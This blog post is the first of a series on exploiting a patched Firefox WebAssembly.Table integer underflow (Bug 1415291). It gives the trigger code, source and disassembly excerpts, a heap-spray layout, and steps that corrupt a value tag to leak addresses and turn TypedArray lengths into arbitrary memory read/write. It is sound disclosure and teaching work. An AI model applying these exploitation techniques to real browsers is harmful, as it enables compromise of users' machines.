By Arthur Gerkis and David Barksdale
This series of posts makes public some old Firefox research which our Zero-Day customers had access to before it was known publicly, and then our N-Day customers after it was patched. We’ve also used this research to teach browser exploitation in our Vuln-Dev Master Class.
In this post we start with an integer underflow in part of Firefox’s WebAssembly code and use it to read and write memory in the sandboxed content process. In later posts we will then use this to execute arbitrary code in the content process, and finally escape the sandbox to the broker process and execute calc.exe.
This vulnerability was reported to Mozilla by Alex Gaynor as Bug #1415291 and fixed in Firefox 58 and 59.
The vulnerability is triggered using a WebAssembly.Table object which represents an array-like structure that stores function references and provides a bridge between WebAssembly and JavaScript. The following JavaScript code results in a memory read outside the bounds of the table.
// Creates a new WebAssembly Table object. var wasmTable = new WebAssembly.Table({ // Provides type of the element. element: 'anyfunc', // Provides initial size of the table (length of the elements). initial: 0 }); // Tries to get the function reference at the index 0x100. wasmTable.get(0x100);
The JavaScript constructor triggers a call to WasmTableObject::construct() shown below.
/* static */ WasmTableObject* WasmTableObject::create(JSContext* cx, const Limits& limits) { RootedObject proto(cx, &cx->global()->getPrototype(JSProto_WasmTable).toObject()); AutoSetNewObjectMetadata metadata(cx); RootedWasmTableObject obj(cx, NewObjectWithGivenProto<WasmTableObject>(cx, proto)); if (!obj) return nullptr; MOZ_ASSERT(obj->isNewborn()); TableDesc td(TableKind::AnyFunction, limits); td.external = true; SharedTable table = Table::create(cx, td, obj); if (!table) return nullptr; obj->initReservedSlot(TABLE_SLOT, PrivateValue(table.forget().take())); MOZ_ASSERT(!obj->isNewborn()); return obj; } /* static */ bool WasmTableObject::construct(JSContext* cx, unsigned argc, Value* vp) { CallArgs args = CallArgsFromVp(argc, vp); if (!ThrowIfNotConstructing(cx, args, "Table")) return false; if (!args.requireAtLeast(cx, "WebAssembly.Table", 1)) return false; if (!args.get(0).isObject()) { JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr, JSMSG_WASM_BAD_DESC_ARG, "table"); return false; } ... RootedWasmTableObject table(cx, WasmTableObject::create(cx, limits)); if (!table) return false; args.rval().setObject(*table); return true; }
WasmTableObject::construct() performs different kinds of validations and then calls WasmTableObject::create() which is responsible for the actual table creation.
The TableDesc object holds properties of the new WebAssembly.Table to be created including the type of the array (external or internal) and limits of the table. The call to Table::create() creates a new WebAssembly table object with the initial elements length of 0.
/* static */ SharedTable Table::create(JSContext* cx, const TableDesc& desc, HandleWasmTableObject maybeObject) { // The raw element type of a Table depends on whether it is external: an // external table can contain functions from multiple instances and thus // must store an additional instance pointer in each element. UniqueByteArray array; if (desc.external) array.reset((uint8_t*)cx->pod_calloc<ExternalTableElem>(desc.limits.initial)); else array.reset((uint8_t*)cx->pod_calloc<void*>(desc.limits.initial)); if (!array) return nullptr; return SharedTable(cx->new_<Table>(cx, desc, maybeObject, Move(array))); }
The desc.external variable is set to true as it is an external (user-provided) table creation request (non-external tables are used for JavaScript engine runtime internally and are not possible to control directly). The desc.limits.initial variable is 0 and the pod_calloc() function allocates the minimum possible buffer size of 8 bytes. The address of array (or array_ as defined in Table fields) is the base address when accessing the table array by index.
Once the WebAssembly get() function is called, the WasmTableObject::getImpl() method is eventually called.
/* static */ bool WasmTableObject::getImpl(JSContext* cx, const CallArgs& args) { RootedWasmTableObject tableObj(cx, &args.thisv().toObject().as<WasmTableObject>()); const Table& table = tableObj->table(); uint32_t index; if (!ToNonWrappingUint32(cx, args.get(0), table.length() - 1, "Table", "get index", &index)) return false; ExternalTableElem& elem = table.externalArray()[index]; if (!elem.code) { args.rval().setNull(); return true; } Instance& instance = *elem.tls->instance; const CodeRange& codeRange = *instance.code().lookupRange(elem.code); MOZ_ASSERT(codeRange.isFunction()); RootedWasmInstanceObject instanceObj(cx, instance.object()); RootedFunction fun(cx); if (!instanceObj->getExportedFunction(cx, instanceObj, codeRange.funcIndex(), &fun)) return false; args.rval().setObject(*fun); return true; }
The third argument to ToNonWrappingUint32() is the maximum value allowed to be stored in index. When table.length() is 0 this value becomes -1, however the argument type is uint32_t, causing the value to become UINT32_MAX, defeating the range check entirely. The same bug exists in WasmTableObject::setImpl() defeating the range check on set().
This vulnerability can be used to read or write past the bounds of the array. However,
writing out of bounds is limited in how and what it can write. Reading out of bounds cannot be directly used to leak any useful data into JavaScript, but it can be used to create a fake hash table.
To ensure that required data is located at a fixed address the heap is sprayed using JavaScript arrays. This data is then used to create a few fake structures. The heap spray causes the following data to be placed at address 0x4d0f0000.
4d0f0000 4d0f0000 4d0f0000 4d0f000c 4d0f0000 4d0f0010 4d0eff9c 4d0f0028 4d0f00b0 4d0f0028 4d0f0020 4d0f0020 00000002 00000000 00000000 4d0f0030 4d0effd4 00000002 4d0f0030 00000000 4d0f0040 00000000 00000000 00000010 00000000 4d0f0050 00000000 00000000 00000000 00000000 4d0f0060 143d6170 ffffff87 00000000 00000000 4d0f0070 00000000 00000000 00000000 00000000 4d0f0080 0000007b 00000030 4d0f0080 cccccccc 4d0f0090 00000000 00000000 14642190 ffffff8c 4d0f00a0 00000000 00000000 13d59320 ffffff8c 4d0f00b0 cccccccc 7e000000 146421ea 00000000 4d0f00c0 00000000 00000000 00000000 00000000 4d0f00d0 00000000 00000000 00000000 00000000 4d0f00e0 00000000 00000000 00000000 00000000 4d0f00f0 00000000 00000000 00000000 00000000 4d0f0100 4d0f0000 4d0f0000 4d0f0000 4d0f0000 4d0f0110 4d0f0000 4d0f0000 4d0f0000 4d0f0000
The first 0x100 bytes contain fake structure fields, the rest is just a filler which points back to the beginning of the data.
Once the heap spray is done, the vulnerability is triggered by creating a new WebAssembly table and calling the get() function on that table. The following code is then reached.
; File: xul.dll ; Version: 54.0.0.6368 .text:11D4EB33 private: static bool __cdecl js::WasmTableObject::getImpl(struct JSContext *, class JS::CallArgs const &) proc near ... .text:11D4EB96 jz loc_11D4EC40 .text:11D4EB9C mov eax, [ebp+var_4] .text:11D4EB9F mov ecx, [ebp+var_8] .text:11D4EBA2 mov eax, [eax+30h] ; eax will point to the array_ field .text:11D4EBA5 mov edx, [eax+ecx*8] ; eax+ecx*8 points inside of the heap spray, edx becomes 0x4d0f0000 .text:11D4EBA8 test edx, edx ; if (!elem.code) ... (edx = 0x4d0f0000) .text:11D4EBAA jnz short loc_11D4EBBF ... .text:11D4EBBF .text:11D4EBBF loc_11D4EBBF: .text:11D4EBBF mov eax, [eax+ecx*8+4] ; reads from the spray and sets eax to 4d0f0000 .text:11D4EBC3 push edx .text:11D4EBC4 mov esi, [eax+4] ; esi will point to the fake js::wasm::Instance object (4d0f0000) .text:11D4EBC7 mov ecx, [esi+8] ; ecx will point to the fake js::wasm::Code object (4d0f000c) .text:11D4EBCA call js::wasm::Code::lookupRange(void *)
The array_ field is located at offset 0x30 in the Table object, shown below.
0:000> dt xul!js::wasm::Table +0x000 mRefCnt : Uint4B +0x004 maybeObject_ : js::ReadBarriered<js::WasmTableObject *> +0x008 observers_ : JS::WeakCache<JS::GCHashSet<js::ReadBarriered<js::WasmInstanceObject *>,js::MovableCellHasher<js::ReadBarriered<js::WasmInstanceObject *> >,js::SystemAllocPolicy> > +0x030 array_ : mozilla::UniquePtr<unsigned char [0],JS::FreePolicy> +0x034 kind_ : js::wasm::TableKind +0x038 length_ : Uint4B +0x03c maximum_ : mozilla::Maybe<unsigned int> +0x044 external_ : Bool
The address of the array_ field is added to the index which is multiplied by 0x8 (the UniqueByteArray structure takes 0x8 bytes and each function reference represents this structure).
Next is the call to the Code::lookupRange() method.
const CodeRange* Code::lookupRange(void* pc) const { CodeRange::PC target((uint8_t*)pc - segment_->base()); size_t lowerBound = 0; size_t upperBound = metadata_->codeRanges.length(); size_t match; if (!BinarySearch(metadata_->codeRanges, lowerBound, upperBound, target, &match)) return nullptr; return &metadata_->codeRanges[match]; }
The Code object is located at address 0x4d0f000c in our heap spray and is constructed such that BinarySearch() will return true and match will be set to 1. The match is the index of the CodeRange structure in the metadata_->codeRanges vector. The size of the CodeRange object is 0x20 bytes and as such lookupRange() returns the CodeRange object which is located at address 0x4d0f0040 in our heap spray.
Next in WasmTableObject::getImpl() an object_ field pointing to the WasmInstanceObject object is requested, as shown below.
WasmInstanceObject* Instance::object() const { return object_; }
A problem appears due to the way the garbage collector works and because some structures have been faked: they do not represent real JavaScript objects and have not gone through the real allocation mechanisms.
The Generation Garbage Collector (GGC), introduced in Mozilla Firefox version 32.0, has two heap types: nursery and tenured. The nursery heap is used for a short-lived objects, and the tenured heap for long-lived objects.
When getting the WasmInstanceObject object, the JavaScript engine runtime requests details about the object state, namely whether it is in the nursery or in the tenured heap. Eventually the JSObject::readBarrier() method is called, as shown below.
/* static */ MOZ_ALWAYS_INLINE void JSObject::readBarrier(JSObject* obj) { if (obj && obj->isTenured()) obj->asTenured().readBarrier(&obj->asTenured()); }
The method Cell::isTenured() checks whether the object is inside of tenured heap, as shown below.
MOZ_ALWAYS_INLINE bool isTenured() const { return !IsInsideNursery(this); }
The IsInsideNursery() function is shown below.
MOZ_ALWAYS_INLINE bool IsInsideNursery(const js::gc::Cell* cell) { if (!cell) return false; uintptr_t addr = uintptr_t(cell); addr &= ~js::gc::ChunkMask; addr |= js::gc::ChunkLocationOffset; auto location = *reinterpret_cast<ChunkLocation*>(addr); MOZ_ASSERT(location == ChunkLocation::Nursery || location == ChunkLocation::TenuredHeap); return location == ChunkLocation::Nursery; }
Cell is the base class of all classes being allocated by GC. Chunks are the largest unit used by the allocator and are 1MB. The ChunkLocation enum denotes the type of the heap, as shown below.
enum class ChunkLocation : uint32_t { Invalid = 0, Nursery = 1, TenuredHeap = 2 };
The IsInsideNursery() function converts object addresses to the address of the associated chunk and checks whether the chunk belongs to the nursery or tenured heap. If it is in the tenured heap, then additional operations on the object are performed. This code path should be avoided as it would unnecessarily complicate the exploit. The ChunkLocation is within the our heap spray so we fake it by setting it to Nursery.
After that, the Instance::object() method successfully returns a new WasmInstanceObject object which is located at address 0x4d0f0000.
The next relevant call is to the WasmInstanceObject::getExportedFunction() method as it allows memory corruption at an arbitrary address. The method receives valid objects passed in as arguments and also receives the controllable funcIndex variable which we set to 0.
/* static */ bool WasmInstanceObject::getExportedFunction(JSContext* cx, HandleWasmInstanceObject instanceObj, uint32_t funcIndex, MutableHandleFunction fun) { if (ExportMap::Ptr p = instanceObj->exports().lookup(funcIndex)) { fun.set(p->value()); return true; } const Instance& instance = instanceObj->instance(); unsigned numArgs = instance.metadata().lookupFuncExport(funcIndex).sig().args().length(); // asm.js needs to act like a normal JS function which means having the name // from the original source and being callable as a constructor. if (instance.isAsmJS()) { RootedAtom name(cx, instance.code().getFuncAtom(cx, funcIndex)); if (!name) return false; fun.set(NewNativeConstructor(cx, WasmCall, numArgs, name, gc::AllocKind::FUNCTION_EXTENDED, SingletonObject, JSFunction::ASMJS_CTOR)); if (!fun) return false; } else { RootedAtom name(cx, NumberToAtom(cx, funcIndex)); if (!name) return false; fun.set(NewNativeFunction(cx, WasmCall, numArgs, name, gc::AllocKind::FUNCTION_EXTENDED)); if (!fun) return false; } fun->setExtendedSlot(FunctionExtended::WASM_INSTANCE_SLOT, ObjectValue(*instanceObj)); fun->setExtendedSlot(FunctionExtended::WASM_FUNC_INDEX_SLOT, Int32Value(funcIndex)); if (!instanceObj->exports().putNew(funcIndex, fun)) { ReportOutOfMemory(cx); return false; } return true; }
The instanceObj->exports() call returns a hash table. We fail the hash table lookup in order to reach the call to putNew(). Next, inside of the Metadata::lookupFuncExport() method, a second binary search is performed and it must return a result.
const FuncExport& Metadata::lookupFuncExport(uint32_t funcIndex) const { size_t match; if (!BinarySearch(ProjectFuncIndex(funcExports), 0, funcExports.length(), funcIndex, &match)) MOZ_CRASH("missing function export"); return funcExports[match]; }
The Metadata object is also fake and is located at address 0x4d0f0000. BinarySearch() calls BinarySearchIf() with arguments aContainer and aEnd under our control.
0:000> ln eip win_build\\dist\\include\\mozilla\\binarysearch.h(80)+0xe (035d1c00) xul!mozilla::BinarySearchIf<ProjectFuncIndex,mozilla::detail::BinarySearchDefaultComparator<unsigned int> >+0x1e | (035d1c60) xul!mozilla::BinarySearchIf<mozilla::Vector<js::wasm::Instance *,0,js::SystemAllocPolicy>,InstanceComparator> 0:000> dv aContainer = 0x012fe074 aBegin = 0 aEnd = 2 aCompare = 0x012fe078 aMatchOrInsertionPoint = 0x012fe070 high = 2 low = 0 middle = <value unavailable> 0:000> dx -r1 (*((xul!ProjectFuncIndex *)0x12fe074)) (*((xul!ProjectFuncIndex *)0x12fe074)) [Type: ProjectFuncIndex] [+0x000] funcExports : 0x4d0f0030 [Type: mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy> &] 0:000> dx -r1 (*((xul!mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy> *)0x4d0f0030)) (*((xul!mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy> *)0x4d0f0030)) [Type: mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy>] kElemIsPod : false [Type: bool] kMaxInlineBytes : 0x3f3 [Type: unsigned int] kInlineCapacity : 0x0 [Type: unsigned int] [+0x000] mBegin : 0x4d0effd4 [Type: js::wasm::FuncExport *] [+0x004] mLength : 0x2 [Type: unsigned int] [+0x008] mTail [Type: mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy>::CRAndStorage<0,0>] sMaxInlineStorage : 0x0 [Type: unsigned int]
Address 0x4d0f0040 contains 0 in order to return true from BinarySearchIf().
; File: xul.dll ; Version: 54.0.0.6368 .text:11D666D2 bool __cdecl mozilla::BinarySearchIf<struct ProjectFuncIndex, class mozilla::detail::BinarySearchDefaultComparator<unsigned int>>(struct ProjectFuncIndex const &, unsigned int, unsigned int, class mozilla::detail::BinarySearchDefaultComparator<unsigned int> const &, unsigned int *) proc near .text:11D666D2 .text:11D666D2 arg_0 = dword ptr 8 .text:11D666D2 arg_4 = dword ptr 0Ch .text:11D666D2 arg_8 = dword ptr 10h .text:11D666D2 ... .text:11D666E5 .text:11D666E5 loc_11D666E5: .text:11D666E5 mov ecx, [ebp+arg_4] .text:11D666E8 mov edx, edi .text:11D666EA sub edx, esi .text:11D666EC shr edx, 1 .text:11D666EE add edx, esi .text:11D666F0 imul eax, edx, 3Ch ; edx = 0x1 .text:11D666F3 mov eax, [eax+ebx+30h] ; mov eax,dword ptr [eax+ebx+30h] ds:002b:4d0f0040=00000000 .text:11D666F7 mov [ebp+arg_0], eax .text:11D666FA lea eax, [ebp+arg_0] .text:11D666FD push eax .text:11D666FE call mozilla::detail::BinarySearchDefaultComparator<uint>::operator()<uint>(uint const &) .text:11D66703 test eax, eax ; eax = 0x0, will return from the function .text:11D66705 jz short loc_11D66720 ... .text:11D6671B loc_11D6671B: .text:11D6671B pop edi .text:11D6671C pop esi .text:11D6671D pop ebx .text:11D6671E pop ebp .text:11D6671F retn .text:11D66720 ; --------------------------------------------------------------------------- .text:11D66720 .text:11D66720 loc_11D66720: .text:11D66720 mov eax, [ebp+arg_8] .text:11D66723 mov [eax], edx .text:11D66725 mov al, 1 .text:11D66727 jmp short loc_11D6671B .text:11D66727 bool __cdecl mozilla::BinarySearchIf<struct ProjectFuncIndex, class mozilla::detail::BinarySearchDefaultComparator<unsigned int>>(struct ProjectFuncIndex const &, unsigned int, unsigned int, class mozilla::detail::BinarySearchDefaultComparator<unsigned int> const &, unsigned int *) endp
This brings us to the call to putNew() which will try to put the key funcIndex and the value fun into the hash table.
template <typename... Args> MOZ_MUST_USE bool putNew(const Lookup& l, Args&&... args) { if (!this->checkSimulatedOOM()) return false; if (!EnsureHash<HashPolicy>(l)) return false; if (checkOverloaded() == RehashFailed) return false; putNewInfallible(l, mozilla::Forward<Args>(args)...); return true; }
The HashTable::putNew() method wraps a call to HashTable::putNewInfallible(), shown below.
template <typename... Args> void putNewInfallible(const Lookup& l, Args&&... args) { MOZ_ASSERT(!lookup(l).found()); mozilla::ReentrancyGuard g(*this); putNewInfallibleInternal(l, mozilla::Forward<Args>(args)...); }
Which in turn wraps another call to HashTable::putNewInfallibleInternal(), shown below.
template <typename... Args> void putNewInfallibleInternal(const Lookup& l, Args&&... args) { MOZ_ASSERT(table); HashNumber keyHash = prepareHash(l); Entry* entry = &findFreeEntry(keyHash); ... }
The HashTable::prepareHash() method calculates the hash for the given key and in our case will return 0xfffffffe. This will cause findFreeEntry() to corrupt the JSValueTag at 0x4d0f0064, changing it from JSVAL_TAG_STRING (0xffffff86) to JSVAL_TAG_SYMBOL (0xffffff87), as shown below.
; File: xul.dll ; Version: 54.0.0.6368 .text:10BE112F private: class js::detail::HashTableEntry<class js::HashMapEntry<unsigned int, class js::jit::MDefinition *>> & __thiscall js::detail::HashTable<class js::HashMapEntry<unsigned int, class js::jit::MDefinition *>, struct js::HashMap<unsigned int, class js::jit::MDefinition *, struct js::DefaultHasher<unsigned int>, class js::SystemAllocPolicy>::MapHashPolicy, class js::SystemAllocPolicy>::findFreeEntry(unsigned int) proc near .text:10BE112F .text:10BE112F var_4 = dword ptr -4 .text:10BE112F arg_0 = dword ptr 8 .text:10BE112F .text:10BE112F push ebp .text:10BE1130 mov ebp, esp .text:10BE1132 push ecx .text:10BE1133 push ebx .text:10BE1134 push esi .text:10BE1135 mov ebx, ecx .text:10BE1137 push edi .text:10BE1138 mov edi, [ebp+arg_0] .text:10BE113B mov esi, edi .text:10BE113D movzx ecx, byte ptr [ebx+7] ; movzx ecx,byte ptr [ebx+7] ds:002b:4d0f00b7=7e .text:10BE1141 shr esi, cl ; 0xfffffffe >>> 0x7e, esi becomes 0x3 (in inlined hash1() call) .text:10BE1143 mov edx, esi .text:10BE1145 mov [ebp+var_4], ecx .text:10BE1148 shl edx, 4 .text:10BE114B add edx, [ebx+8] ; add edx,dword ptr [ebx+8] ds:002b:4d0f00b8=4d0f0034 (edx = 0x30) .text:10BE114E cmp dword ptr [edx], 1 ; cmp dword ptr [edx],1 ds:002b:4d0f0064=ffffff86 (inlined entry->isLive()) .text:10BE1151 jbe short loc_10BE1180 .text:10BE1153 push 20h ; start of inlined hash2() call .text:10BE1155 pop eax .text:10BE1156 sub eax, ecx .text:10BE1158 mov ecx, eax .text:10BE115A shl edi, cl .text:10BE115C mov ecx, [ebp+var_4] .text:10BE115F shr edi, cl .text:10BE1161 mov ecx, eax .text:10BE1163 xor eax, eax .text:10BE1165 or edi, 1 .text:10BE1168 inc eax .text:10BE1169 shl eax, cl .text:10BE116B dec eax ; end of inlined hash2() call .text:10BE116C .text:10BE116C loc_10BE116C: .text:10BE116C or dword ptr [edx], 1 ; or dword ptr [edx],1 ds:002b:4d0f0064=ffffff86 (inlined entry->setCollision() call) .text:10BE116F sub esi, edi .text:10BE1171 and esi, eax .text:10BE1173 mov edx, esi .text:10BE1175 shl edx, 4 .text:10BE1178 add edx, [ebx+8] .text:10BE117B cmp dword ptr [edx], 1 ; (inlined entry->isLive()) .text:10BE117E ja short loc_10BE116C ; .text:10BE1180 .text:10BE1180 loc_10BE1180: .text:10BE1180 pop edi .text:10BE1181 pop esi .text:10BE1182 mov eax, edx .text:10BE1184 pop ebx .text:10BE1185 mov esp, ebp .text:10BE1187 pop ebp .text:10BE1188 retn 4
The heap spray contains a JSString at address 0x4d0f0060, as shown below.
0:000> dd 4d0f0060 4d0f0060 13cd01a0 ffffff86 00000000 00000000 4d0f0070 00000000 00000000 00000000 00000000 4d0f0080 0000007b 00000030 4d0f0080 cccccccc 4d0f0090 00000000 00000000 16712200 ffffff8c 4d0f00a0 00000000 00000000 09eb3360 ffffff8c
After corrupting the JSValueTag, the string becomes a fake JS::Symbol object. By calling toString() on the fake symbol, 0x30 bytes from address 0x4d0f0080 are leaked. This includes the address of a TypedArray object at 0x4d0f0098 and the address of an iframe at 0x4d0f00a8 to be used later.
Once the address of the TypedArray object has been leaked, the corrupted part of the heap spray is restored to its original contents and the write address is updated to point to the unaligned address of the length field of the TypedArray object. The vulnerability is then triggered a second time. Below is the contents of the Typed Array object before.
0:000> dd 14642200 14642200 143f4cb8 1463fa18 00000000 04bf7198 14642210 00000000 ffffff83 00000010 ffffff81 14642220 00000000 ffffff81 14642230 00000000 14642230 00000000 00000000 00000000 00000000 14642240 00000000 00000000 00000000 00000000 14642250 00000000 00000000 00010000 00000000 14642260 00000000 00000000 00000000 00000000 14642270 143f4cb8 1463fa18 00000000 04bf7198
At address 0x14642218 the TypedArray length is located, the data buffer starts at 0x14642230, and the next TypedArray is located at address 0x14642270. Below is the contents after the write changes the length from 0x10 to 0x10010.
0:000> dd 14642200 14642200 143f4cb8 1463fa18 00000000 04bf7198 14642210 00000000 ffffff83 00010010 ffffff81 14642220 00000000 ffffff81 14642230 00000000 14642230 00000000 00000000 00000000 00000000 14642240 00000000 00000000 00000000 00000000 14642250 00000000 00000000 00010000 00000000 14642260 00000000 00000000 00000000 00000000 14642270 143f4cb8 1463fa18 00000000 04bf7198
The corrupted TypedArray is then used to overwrite length of the next adjacent TypedArray with 0xffffffff. This way arbitrary memory read/write is achieved.
In the next post in this series we will use the ability to read and write arbitrary memory to achieve code execution.